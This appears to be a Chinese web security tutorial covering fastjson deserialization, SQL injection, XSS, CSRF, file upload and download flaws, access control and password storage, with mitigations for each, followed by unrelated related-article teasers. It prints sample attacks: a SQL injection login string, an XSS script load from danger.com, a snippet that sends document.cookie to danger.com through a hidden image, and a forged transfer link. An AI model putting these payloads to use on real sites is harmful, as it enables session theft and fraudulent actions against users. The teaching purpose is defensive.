当前位置: 首页 > news >正文

Web安全实践

前言

安全无小事,成败在细节,网络有风险,灾难弹指间。

安全一般情况下看不见,在你周围漂浮着,显现出来后,往往会刻骨铭心。正因为安全看不见,所以往往不受重视,因为感知到的概率真的太低,用户的第一感知是他看得见、摸得着、嗅得到、品得出的东西,实实在在的东西,而不是那种虚无缥缈的东西,我们对概率低的东西往往默认选择忽略。

编码安全

反序列化命令执行

暴露或间接暴露反序列化API,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码。

最典型的就是fastjson了,有一段时间,fastjson被爆出过多次存在漏洞,很多文章报道了这件事儿,并且给出了升级建议。fastjson在反序列化时会调用目标类的setter方法,那么如果黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令,那么就会导致很严重的后果远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。

所以针对这种开源框架及工具包,建议使用最新版本,避免被不法分子钻漏洞。

SQL 注入

SQL注入漏洞是由于Web应用程序没有对用户输入数据的合法性进行判断,攻击者通过Web页面的输入区域(如URL、表单等) ,用精心构造的SQL语句插入特殊字符和指令,通过和数据库交互获得私密信息或者篡改数据库信息。SQL注入攻击在Web攻击中非常流行,攻击者可以利用SQL注入漏洞获得管理员权限,在网页上加挂木马和各种恶意程序,盗取企业和用户敏感信息。

比如登录的时候,用户输入了“admin’ or 1=1 --”,

漏洞代码:select * from user where username='${username}' and password=‘${password}'
SQL 执行:select * from user where username=' admin' or 1=1 -- ' and password=null

防范措施

  • 使用预处理执行SQL语句
  • 如果使用的是MyBatis,那么所有的变量必须使用#符号;如果特殊应用必须使用$的情况,必须确保变量完全来源于系统内部或代码定义好的固定常量
  • 对于Order by或者表名、字段名等不能使用预处理的情况,研发人员可以在java层面做映射来进行解决

跨站 XSS(Cross-site scripting)

跨站脚本攻击发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。

攻击者利用应用程序的动态展示数据功能,在html页面里嵌入恶意代码(如:“”)。当用户浏览该页之时,这些嵌入在html中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的。

一个钓鱼欺骗的例子,比如论坛里面有人回复了一条消息,假设用户贴了一张图片,src如下,

http://xxx.com/a.jpg\"\u003c/script\u003e\u003cscript type='text/javascript' src='http://danger.com/xxx.js' /\u003e"
其中“\u003c”对应“<”,“\u003e”对应“>”

一个盗取cookie的例子,同源策略不限制img标签,img可能是恶意网址的链接,那么可以构造一个看不见的img,然后把用户的cookie发送到恶意网址的服务器

var img=document.createElement("img");
img.src="http://danger.com/cookie=?"+escape(document.cookie);
document.body.appendChild(img);

安全编码建议,Java侧需要对非富文本采用escape转义,富文本采用owasp antisamy;在javascript内容中输出的“用户可控数据”,需要做javascript escape转义”,同时如果可以的话,给网站设置一个跳转的白名单。

Java代码如下

import cn.hutool.core.util.EscapeUtil;
import org.owasp.validator.html.AntiSamy;
import org.owasp.validator.html.CleanResults;
import org.owasp.validator.html.Policy;public class Test {public static void main(String[] args) {String str = "abc<script>alert(\"hello\")</script>def";// 非富文本采用escape转义System.out.println("EscapeUtil:" + EscapeUtil.escape(str));// 富文本采用owasp antisamyAntiSamy antiSamy = new AntiSamy();try {Policy policy = Policy.getInstance(Test.class.getClassLoader().getResourceAsStream("antisamy-anythinggoes.xml"));CleanResults results = antiSamy.scan(str, policy);System.out.println("AntiSamy:" + results.getCleanHTML());} catch (Exception e) {e.printStackTrace();}}}

跨站请求伪造 CSRF(Cross-site request forgery)

攻击者在用户浏览网页时,利用页面元素(例如img的src),强迫受害者的浏览器向Web应用程序发送一个改变用户信息的请求。

比如一个用户的会话cookie在浏览器没有关闭的时候,是不会被删除的,所以可以换个思路,不再去偷这个cookie了,相反,可以在web.com中构造一个领奖页面,里面包含一个连接,让用户去点击,例如:

恭喜你获得了iPhoneX一台,快来<a href="www.icbc.com.cn/transfer?toBankId=黑客的账户&money=金额">领取吧</a>

这得先知道icbc.com.cn的转账操作的url和参数名称。
如果这个用户恰好登录了icbc.com,那他的cookie还在,当他禁不住诱惑,点了这个链接后,一个转账操作就神不知鬼不觉的发生了。

防范措施

  • 用户登陆时,设置一个CSRF的随机TOKEN,同时后续都在请求后面带上这个TOKEN
  • 生成表单的同时,推送TOKEN值。表单提交,判断token是否一致,如果不一致或没有这个值,判断为CSRF攻击,并记录日志 ,如一致就放行,并重新生成下一个新的token
  • 重要操作增加二次图片验证码或滑动验证码等
  • 致命操作使用二次密码验证或人脸识别等

URL跳转

Web应用程序接收到用户提交的URL参数后,没有对参数做“可信任URL”的验证,就向用户浏览器返回跳转到该URL的指令。一般发生在登录授权的回调地址那里。

防范措施,添加跳转白名单,判断目的地址是否在白名单列表中,如果不在列表中,就判定为URL跳转攻击。

文件安全

任意文件上传

文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。

防范措施

  • 检查上传文件扩展名白名单,不属于白名单内,不允许上传。
  • 上传文件的目录必须是http请求无法直接访问到的。如果需要访问的,必须上传到其他(和web服务器不同的)域名下,并设置该目录为不解析jsp等脚本语言的目录。
  • 图片上传,要通过处理(缩略图、水印等),无异常后才能保存到服务器。

任意文件下载

处理用户请求下载文件时,允许用户提交任意文件路径,并把服务器上对应的文件直接发送给用户,这将造成任意文件下载威胁。如果让用户提交文件目录地址,就把目录下的文件列表发给用户,会造成目录遍历安全威胁。

防范措施

  • 文件路径保存至数据库,让用户提交文件对应ID下载文件
  • 下载文件之前做权限判断
  • 不允许提供目录遍历服务

权限安全

垂直权限安全/纵向越权

由于应用程序没有做鉴权,或鉴权做的比较粗,导致的恶意用户可以通过穷举遍历管理页面的URL,就可以访问或控制其他角色拥有的数据或管理功能,达到权限提升目的。

可以采用细粒度鉴权策略,判断当前用户是否拥有功能的权限。

水平权限安全/横向越权

应用程序根据用户提交的ID(如订单id、用户id、商品id等),在没有校验身份的情况下,直接返回用户信息,从而会造成攻击者越权遍历所有其他用户信息的问题。

涉及到用户数据的操作应进行严格的身份校验,可以从服务端登录态cookie或session信息中取值校验,禁止通过用户提交的ID信息直接进行数据操作。

信息安全

密码

过去一段时间来, 众多的网站遭遇用户密码数据库泄露事件。层出不穷的类似事件对用户会造成巨大的影响,因为人们往往习惯在不同网站使用相同的密码,一家 “暴库”,全部遭殃。

在用户设置密码时,需要校验密码的强度,要数字、密码、特殊符号,且6位以上。

同时在网络传输上,也要注意进行加密传输。

在密码的存储上,一定不能存储明文,需要进行加密存储,这其中经过一系列的存储加密升级。

单纯的MD5或sha算法加密,看起来很安全,没法被破解,但是有了字典表/彩虹表破解的手段,破解出来就是很简单的事了,具体可以看MD5 解密查询的网站上,如果你的密码很简单,加密后的 MD5 密文都能反查出原始密码来。

早期为了改进单向hash的缺陷,为了让彩虹表失效,引入了盐,盐是随机生成的一个唯一字符串,连在明文密码后增强密码的随机性,然后再做hash得到的加密密文存储在db中,这样一个是相同的密码存在db中的值就不同了,另一个是彩虹表也不会再起作用了。但是同样以目前计算机的算力,暴力破解也是分分钟的事情。

PBKDF2/BCrypt/SCrypt 算法,这几种算法有一个特点,算法中都有个因子,用于指明计算密码摘要所需要的资源和时间,也就是计算强度。计算强度越大,攻击者建立rainbow table越困难,以至于不可继续。这类算法也可以保证即使计算能力不断提高,只要调整算法中的强度因子,密码仍然不可能被轻易的攻破。

个人敏感信息

典型的如用户的身份证跟手机号,现在很多网站,只要一个身份证跟手机号,就拥有了很多权限,对于这部分信息的存储,也需要注意加密,且不能只使用简单的加密算法,特别不要将编码(如Base64)和密码算法混为一谈,前者不是密码算法。不要使用DES等低强度的密码算法,使用AES等高强度的加密算法。

验证码安全

登陆、注册、短信验证、邮件验证等api往往会成为攻击者撞库、轰炸的目标。
在登陆、注册、短信发送、邮件发送必须加入图片验证码,同时验证码必须设置有效期和有效次数(一般为一次性),使用短信、邮件验证时,必须限制同一ID或接收者的验证码发送频率。

参考资料

  • 《白帽子讲Web安全》——吴翰清
  • fastjson到底做错了什么?为什么会被频繁爆出漏洞?
  • 十大常见web漏洞
  • 互联网业务安全之通用安全风险模型
  • Web安全防范(XSS、CSRF)
  • 一分钟让你了解拖库、洗库和撞库
  • 各种加密算法比较

相关文章:

Web安全实践

前言 安全无小事&#xff0c;成败在细节&#xff0c;网络有风险&#xff0c;灾难弹指间。 安全一般情况下看不见&#xff0c;在你周围漂浮着&#xff0c;显现出来后&#xff0c;往往会刻骨铭心。正因为安全看不见&#xff0c;所以往往不受重视&#xff0c;因为感知到的概率真…...

【算法篇】动态规划类(2)——01背包+完全背包(笔记)

目录 一、理论基础 1. 问题类型 2. 01背包问题 3. 完全背包问题 4. 解题步骤 &#xff08;1&#xff09;确定dp数组&#xff08;dp table&#xff09;以及下标的含义。 &#xff08;2&#xff09;确定递推公式。 &#xff08;3&#xff09;dp数组如何初始化。 &#x…...

基于SpringBoot的“社区医院管理服务系统”的设计与实现(源码+数据库+文档+PPT)

基于SpringBoot的“社区医院管理服务系统”的设计与实现&#xff08;源码数据库文档PPT) 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;SpringBoot 工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 系统展示 系统首页界面图 用户注册界面图 医生界面…...

二进制漏洞利用 | 整数溢出探究

什么是整数溢出&#xff1f; 整数溢出是指当算术运算的结果超出用于存储该结果的数据类型的容量时发生的现象。简单来说&#xff0c;就是当一个数值变得过大&#xff08;对于有符号整数来说&#xff0c;也可能是过小&#xff09;&#xff0c;无法被正常存储&#xff0c;从而导…...

10种经典的螺栓防松设计

螺栓防松在机械设计中至关重要&#xff0c;不同方式的螺栓防松有哪些特点一起来看一下。 01双螺母 双螺母防松也称对顶螺母防松&#xff0c;当两个对顶螺母拧紧后&#xff0c;两个对顶的螺母之间始终存在相互作用的压力&#xff0c;两螺母中有任何一个要转动都需要克服旋合螺纹…...

开放式蓝牙耳机哪个品牌好用?开放式耳机排行榜测评!

开放式耳机&#xff0c;因其特殊的不入耳佩戴模式&#xff0c;让使用者在享受音乐或者进行通话的过程中&#xff0c;依然可以对外界声音保持敏感。在户外运动场景下&#xff0c;这种特性优势尽显&#xff0c;既保证了耳机佩戴的稳定和舒适&#xff0c;又提高了运动的安全性。为…...

新能源行业必会基础知识---电力现货问答---第5问---何为电力中长期市场?与电力现货市场之间有何关系?国内试点地区如何衔接?国外有哪些经验值得借鉴?

新能源行业必会基础知识-----电力现货问答-----主目录-----持续更新https://blog.csdn.net/grd_java/article/details/142909208 虽然这本书已经出来有几年了&#xff0c;现货市场已经产生了一定变化&#xff0c;但是原理还是相通的。还是推荐大家买来这本书进行阅读观看&#…...

如何将数据从 AWS S3 导入到 Elastic Cloud - 第 2 部分:Elastic Agent

作者&#xff1a;来自 Elastic Hemendra Singh Lodhi 了解将数据从 AWS S3 提取到 Elastic Cloud 的不同选项。 这是多部分博客系列的第二部分&#xff0c;探讨了将数据从 AWS S3 提取到 Elastic Cloud 的不同选项。 在本博客中&#xff0c;我们将了解如何使用 Elastic Agent…...

DTL698电表数据 转 profinet IO协议项目案例

目录 1 案例说明 1 2 VFBOX网关工作原理 1 3 准备工作 2 4 配置VFBOX网关 2 5 用PROFINET IO协议转发数据 4 6 其他说明 6 7 案例总结 7 1 案例说明 设置网关采集DLT698电表数据数据把采集的数据转成profinet IO协议转发给其他系统。 2 VFBOX网关工作原理 VFBOX网关是协议转…...

CSS @规则(At-rules)系列详解___@font-face规则使用方法

CSS 规则(At-rules)系列详解 ___font-face规则使用方法 本文目录&#xff1a; 零、时光宝盒 一、CSSfont-face规则定义和用法 二、font-face语法 三、font-face使用方法例子 3.1、指定一种字体 3.2、font-face 里添加文本的描述符 3.3、设置多个 font-face 规则。 3.4…...

如何通过CDN优化网站服务器访问速度?

CDN&#xff0c;即内容分发网络&#xff08;Content Delivery Network&#xff09;&#xff0c;在现代互联网中起着重要作用。它可以显著提升网站服务器的访问速度。以下是CDN在加速网站访问方面的主要优势及其工作原理。 1. 全球分布的服务器节点 CDN通过在全球范围内布设多个…...

JAVA学习-练习试用Java实现“自定义函数之字符反转”

问题&#xff1a; 写一函数&#xff0c;使输入的一个字符串按反序存放&#xff0c;在主函数中输入并输出反序后的字符串&#xff08;不包含空格&#xff09;。 示例 &#xff1a;输入一行字符123456abcdef&#xff0c;输出逆序后的字符串fedcba654321。 解答思路&#xff1a; …...

大衍数列——考研408考试科目之数据算法——未来之窗学习通

一、大衍数列 中国古代文献中&#xff0c;曾记载过“大衍数列”, 主要用于解释中国传统文化中的太极衍生原理。 它的前几项是&#xff1a;0、2、4、8、12、18、24、32、40、50 … 其规律是&#xff1a;对偶数项&#xff0c;是序号平方再除2&#xff0c;奇数项&#xff0c;是…...

JVM(HotSpot):直接内存及其使用建议

文章目录 一、什么是直接内存&#xff1f;二、特点三、使用案例四、直接内存的管理 一、什么是直接内存&#xff1f; Direct Memory&#xff1a;系统内存 普通IO&#xff0c;运行原理图 磁盘到系统内存&#xff0c;系统内存到jvm内存。 NIO&#xff0c;运行原理图 划分了一块…...

centos7安装mysql5.7

1. 更新系统软件包 首先&#xff0c;确保您的系统是最新的。打开终端并运行&#xff1a; sudo yum update -y 2. 安装MySQL 5.7的YUM仓库 MySQL提供了自己的YUM仓库&#xff0c;您可以通过下载并安装官方提供的RPM包来添加这个仓库。 wget https://dev.mysql.com/get/mysql57-c…...

如何在JVS逻辑引擎中巧妙运用包含查询功能?

在实际业务场景中&#xff0c;数据查询是不可或缺的一环&#xff0c;包含查询在实际业务场景中经常用到&#xff0c;被广泛应用于各类业务系统中。当我们需要查询状态为指定几种状态的数据时&#xff0c;类似SQL语句中的IN查询就显得尤为重要。为了满足这一需求&#xff0c;在J…...

Spring Boot视频网站:安全与可扩展性设计

4 系统设计 4.1系统概要设计 视频网站系统并没有使用C/S结构&#xff0c;而是基于网络浏览器的方式去访问服务器&#xff0c;进而获取需要的数据信息&#xff0c;这种依靠浏览器进行数据访问的模式就是现在用得比较广泛的适用于广域网并且没有网速限制要求的B/S结构&#xff0c…...

深入理解 Flutter 鸿蒙版的 Stack 布局:适配屏幕与层叠样式布局

目录 写在前面 什么是 Stack 布局&#xff1f; Stack 的基本用法 Stack 布局的核心概念 屏幕适配与 Stack 布局 使用 MediaQuery 获取屏幕尺寸 使用 LayoutBuilder 进行自适应布局 高级层叠样式布局示例 1. 照片展示与文字描述 2. 动态调整层叠布局 写在最后 写在前…...

JavaScript中Number相关特性

目录 非 VIP 用户可前往公众号“前端基地”进行免费阅读 数值范围 小数注意问题 NaN isNaN()判断是不是NaN JavaScript可以表示的进制 数值扩展 非 VIP 用户可前往公众号“前端基地”进行免费阅读 数值范围 数字类型主要涵盖整数与小数。在数值范围方面,存在特…...

Redis中String类型数据扩容原理分析

大家好&#xff0c;我是 V 哥。在 Java 中&#xff0c;我们有动态数组ArrayList&#xff0c;当插入新元素空间不足时&#xff0c;会进行扩容&#xff0c;好奇 Redis 中的 String 类型&#xff0c;C 语言又是怎样的实现策略&#xff0c;带着疑问&#xff0c;咱们来了解一下。 最…...

智能码二维码zhinengma.cn在供应链管理中有哪些优势?

智能码二维码在供应链管理中具有以下优势&#xff1a; 一、提高信息透明度 通过为每个产品或包装分配唯一的二维码&#xff0c;可以实现供应链各环节信息的实时共享。这有助于提高供应链的信息透明度&#xff0c;让各方都能及时了解产品的状态和位置。 二、加强追溯能力 智…...

代理商培训新策略:利用内部知识库提升培训效果

在当今竞争激烈的市场环境中&#xff0c;代理商作为企业与终端消费者之间的桥梁&#xff0c;其专业能力和服务质量直接影响着企业的市场表现和品牌形象。因此&#xff0c;对代理商进行系统而高效的培训&#xff0c;提升其业务技能和服务水平&#xff0c;成为企业不可忽视的重要…...

Redis 哨兵模式下DB库操作审计

Redis Sentinel集群环境 主机版本模式NodeSentinelredis-sentinel-node-06.2.12哨兵MasterYesredis-sentinel-node-16.2.12哨兵SlaveYesredis-sentinel-node-26.2.12哨兵SlaveYes 架构设计 命令行&程序验证 1、在redis-sentinel-node-1上使用redis-cli 连接redis-sentine…...

latex公式输入-矩阵

矩阵输入&#xff1a; 例1 \begin{bmatrix}1& 4&3 &5 \\\frac{1}{4} &1& \frac{1}{2}& 2\\\frac{1}{3}&2&1& \frac{5}{3} \\\frac{1}{5}& \frac{1}{2}& \frac{3}{5}&1 \end{bmatrix} 运行结果&#xff1a; 例2 \begin{bm…...

NSSCTF-WEB-easy_eval

目录 前言 正文 思路 序列化构造 后渗透 思路点1:Redis 思路2:蚁剑插件绕过disable_functinons 结尾 作者的其他文章 前言 说是easy,实际很difficult 正文 思路 <?php class A{public $code "";function __call($method,$args){//最后执行命令eval($th…...

交通目标识别数据集YOLO 模型 ui界面✓图片数量15000,xml和txt标签都有 11类 交通道路车辆行人红黄绿数据集 红绿灯数据集 交通信号数据集

YOLO交通目标识别 数据集 模型 ui界面 ✓图片数量15000&#xff0c;xml和txt标签都有&#xff1b; ✓class&#xff1a;biker&#xff0c;car&#xff0c;pedestrian&#xff0c;trafficLight&#xff0c;trafficLight-Green&#xff0c;trafficLight-GreenLeft&#xff0c; tr…...

买卖股票的最佳时机 题解

买卖股票的最佳时机 问题描述 给定一个数组 prices&#xff0c;其中 prices[i] 表示第 i 天的股票价格。你只能选择某一天买入股票&#xff0c;并选择未来的某一天卖出股票&#xff0c;设计一个算法来计算你所能获取的最大利润。 限制条件&#xff1a; 只能进行一次交易&…...

微信小程序路由跳转的区别及其常见的使用场景

在微信小程序中&#xff0c;页面路由跳转的实现有几种常用方式&#xff0c;不同的跳转方式适用于不同的使用场景。下面是几种跳转方法的区别及其在实际项目中的应用场景。 1. wx.navigateTo 简介&#xff1a;保留当前页面并跳转到指定页面&#xff0c;最多保留10个页面的历史记…...

麒麟桌面版v10 SP1以docker方式安装达梦数据库

安装docker 0.切换root用户&#xff08;可以不切换&#xff0c;但要注意权限问题&#xff0c;我是用root&#xff09; ymym-pc:~/桌面$ whoami ym ymym-pc:~/桌面$ sudo -i rootym-pc:~# whoami root rootym-pc:~# 1.查看系统版本 [rootlocalhost opt]# cat /etc/os-release…...

KNN的 k 设置的过大会有什么问题

在KNN&#xff08;K-Nearest Neighbors&#xff09;算法中&#xff0c;K值的选择对模型的性能和预测结果有着重要影响。如果K值设置得过大&#xff0c;可能会出现以下问题&#xff1a; 欠拟合&#xff1a;当K值过大时&#xff0c;模型会考虑过多的邻近点实例&#xff0c;甚至会…...